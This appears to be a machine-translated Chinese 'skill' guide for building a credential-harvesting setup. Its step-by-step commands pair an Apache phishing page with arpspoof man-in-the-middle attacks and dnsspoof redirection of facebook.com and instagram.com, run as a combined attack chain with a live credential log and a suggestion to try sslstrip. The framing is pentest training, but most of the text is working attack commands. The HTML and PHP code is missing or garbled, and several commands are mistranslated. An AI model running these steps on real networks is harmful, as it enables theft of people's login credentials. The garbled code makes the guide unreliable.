# 凭证收集实验室设置 ## 目的使用 ARP 欺骗、DNS 欺骗和 Apache Web 服务器托管构建受控的凭据收集实验室环境。该技能涵盖创建网络钓鱼页面、重定向流量以及捕获授权渗透测试和安全意识演示的凭据。 ## 先决条件 ### 所需环境 * Kali Linux 或类似的渗透测试操作系统 * Apache2网络服务器 * dsniff 包（arpspoof、dnsspoof） * 目标网段的网络访问 * 测试的书面授权 ### 所需知识 * 基本网络概念 * HTML/PHP 基础知识 * Linux命令行熟练程度 * ARP和DNS协议理解 ## 输出和可交付成果 1. **Apache Web Server** \- 配置假网站托管 2. **网络钓鱼页面** \-令人信服的登录页面副本 3. **流量重定向** \- ARP 和 DNS 欺骗设置 4. **凭证日志** \- 捕获的用户名和密码数据 ## 核心工作流程 ### 第 1 阶段：Apache Web 服务器设置安装并配置 Apache： # 更新软件包并安装 Apache sudo apt update && sudo apt install apache2 -y # 启动Apache服务 sudo 服务 apache2 启动 # 检查服务状态 sudo 服务 apache2 状态 # 验证安装卷曲 http://localhost # 或者打开浏览器访问http://localhost **Apache 目录结构：** /var/www/html/ # 网站根目录 ├──index.html # 默认登陆页面 ├── login.php # 凭证捕获脚本 └── login_log.txt # 记录的凭据 ### 第 2 阶段：创建网络钓鱼页面导航到网络目录： # 移动到网站根目录 cd /var/www/html/ # 备份原始索引文件 sudo mv index.html index.html.backup # 创建新的钓鱼页面须藤纳米索引.html **示例登录页面 (index.html):** <头> <标题>登录 <风格> 身体{ 字体系列：Arial、无衬线字体；背景颜色：#fafafa；高度：100vh；保证金：0；显示：柔性；调整内容：居中；对齐项目：居中； } .容器{ 背景颜色：白色；内边距：20px；边框半径：8px；盒子阴影: 0 0 10px rgba(0, 0, 0, 0.1); 宽度：300px； } 输入{ 宽度：计算（100% - 20px）；内边距：10px；边距：8px 0；框大小：边框框； } 按钮{ 背景颜色：#3897f0；颜色: 白色; 内边距：10px；边框：无；边框半径：4px；光标：指针；宽度：计算（100% - 20px）； } <正文>

### 第 3 阶段：凭据捕获脚本创建 PHP 脚本来记录凭据：须藤纳米 /var/www/html/login.php **PHP 凭据记录器 (login.php)：** ### 第 4 阶段：配置日志记录设置凭证日志文件： # 创建日志文件 sudo touch /var/www/html/login_log.txt # 设置日志记录权限须藤 chmod 644 /var/www/html/login_log.txt 须藤 chmod -R 755 /var/www/html # 确保www-data可以写入 sudo chown www-data:www-data /var/www/html/login_log.txt # 查看捕获的凭据猫 /var/www/html/login_log.txt # 实时监控尾-f /var/www/html/login_log.txt ### 第 5 阶段：启用 IP 转发配置系统进行流量转发： # 启用IP转发（临时）回声 1 | sudo tee /proc/sys/net/ipv4/ip_forward # 验证转发是否启用猫 /proc/sys/net/ipv4/ip_forward # 应返回：1 # 永久IP转发（可选）须藤纳米 /etc/sysctl.conf # 取消注释：net.ipv4.ip_forward=1 sudo sysctl -p ### 第 6 阶段：安装欺骗工具安装 dsniff 包： # 安装 dsniff (包括 arpspoof 和 dnsspoof) 须藤apt更新 sudo apt install dsniff -y # 验证安装哪个arpspoof 哪个 dnsspoof ### 第 7 阶段：ARP 欺骗攻击将攻击者定位为中间人： # 获取网络信息 IP地址显示 ip 路由 | grep 默认值 # 确定目标和网关 # 目标：192.168.1.100 # 网关：192.168.1.1 # 接口：eth0 # ARP欺骗目标（告诉目标我们是网关） sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1 # ARP欺骗网关（告诉网关我们是目标） # 在单独的终端中运行 sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100 **ARP欺骗验证：** # 在目标机器上，检查ARP缓存 arp-a # 网关 MAC 应与攻击者 MAC 匹配 ### 第 8 阶段：DNS 欺骗攻击将 DNS 查询重定向到网络钓鱼服务器： # 创建用于 DNS 欺骗的主机文件须藤纳米 ~/hosts.txt **DNS 主机文件 (hosts.txt)：** 192.168.1.50 facebook.com 192.168.1.50 www.facebook.com 192.168.1.50 登录.facebook.com 192.168.1.50 instagram.com 192.168.1.50 www.instagram.com 将 `192.168.1.50` 替换为您的 Kali 机器 IP。 # 开始DNS欺骗 sudo dnsspoof -i eth0 -f ~/hosts.txt # 验证 DNS 欺骗 nslookup facebook.com # 应该返回你的 Kali IP ### 第 9 阶段：联合攻击执行运行完整的攻击链： # 终端1：启用IP转发回声 1 | sudo tee /proc/sys/net/ipv4/ip_forward # 终端2：ARP欺骗（目标→网关） sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1 # 终端3：ARP欺骗（网关→目标） sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100 # 终端 4：DNS 欺骗 sudo dnsspoof -i eth0 -f ~/hosts.txt # 终端 5：监控凭据尾-f /var/www/html/login_log.txt ### 第 10 阶段：故障排除解决常见问题： **端口 53 冲突：** # 检查使用端口 53 的进程须藤 lsof -i :53 # 停止冲突的服务 sudo systemctl stop systemd-resolved # 或者杀死特定进程 sudo Kill -9 **Apache 不记录日志：** # 查看Apache错误日志 sudo tail -f /var/log/apache2/error.log # 验证 PHP 模块已安装 sudo apt install libapache2-mod-php # 重新启动阿帕奇 sudo 服务 apache2 重新启动 **HSTS 保护问题：** * 现代浏览器缓存 HSTS 策略 * 预加载的 HSTS 站点无法被欺骗 * 使用sslstrip进行HTTP降级（效果有限） * 针对非 HSTS 站点进行测试 ## 快速参考 ### 基本命令命令 |目的 ---|--- `sudo 服务 apache2 启动` |启动网络服务器 `echo 1 > /proc/sys/net/ipv4/ip_forward` |启用转发 `sudo arpspoof -i eth0 -t 目标网关` | ARP欺骗目标 `sudo dnsspoof -i eth0 -f 主机.txt` | DNS欺骗 `tail -f login_log.txt` |监控凭证 ### 文件位置文件|目的 ---|--- `/var/www/html/index.html` |钓鱼页面 `/var/www/html/login.php` |凭证捕获 `/var/www/html/login_log.txt` |记录的凭据 `~/hosts.txt` | DNS 欺骗映射 ### 攻击组件组件|工具 ---|--- 虚拟主机 |阿帕奇2 ARP中毒|琶音欺骗 DNS 重定向 |域名解析欺骗凭证记录 | PHP脚本 ## 约束和限制 ### 法律要求 * 测试前获得书面授权 * 仅在您拥有或拥有许可的网络上进行测试 * 记录所有活动 * 未经批准切勿针对生产系统 ### 技术限制 * HSTS 可防止主要站点上的 HTTP 降级 * 浏览器缓存可能会保留合法的 DNS * SSL/TLS 网站显示证书警告 * 现代安全工具可检测 ARP 欺骗 ## 故障排除 ### 未捕获任何流量 **症状：** ARP 欺骗活动但未记录凭据 **解决方案：** 1. 验证IP转发是否启用 2.检查两个ARP欺骗方向正在运行 3.确认目标在同一网段 4. 验证 Apache 是否正在提供页面 ### 证书警告 **症状：** 目标看到 SSL 证书错误 **解决方案：** 1. 针对仅 HTTP 站点进行测试 2. 使用 sslstrip 进行降级尝试 3. 创建自签名证书 4. 接受 HTTPS 站点的限制 ### DNS 欺骗不起作用 **症状：** DNS 查询未重定向 **解决方案：** 1.停止systemd解析的服务 2.验证hosts.txt格式是否正确 3. 确保 dnsspoof 在正确的接口上运行 4.检查防火墙是否拦截53端口

凭证收集实验室设置

包含技能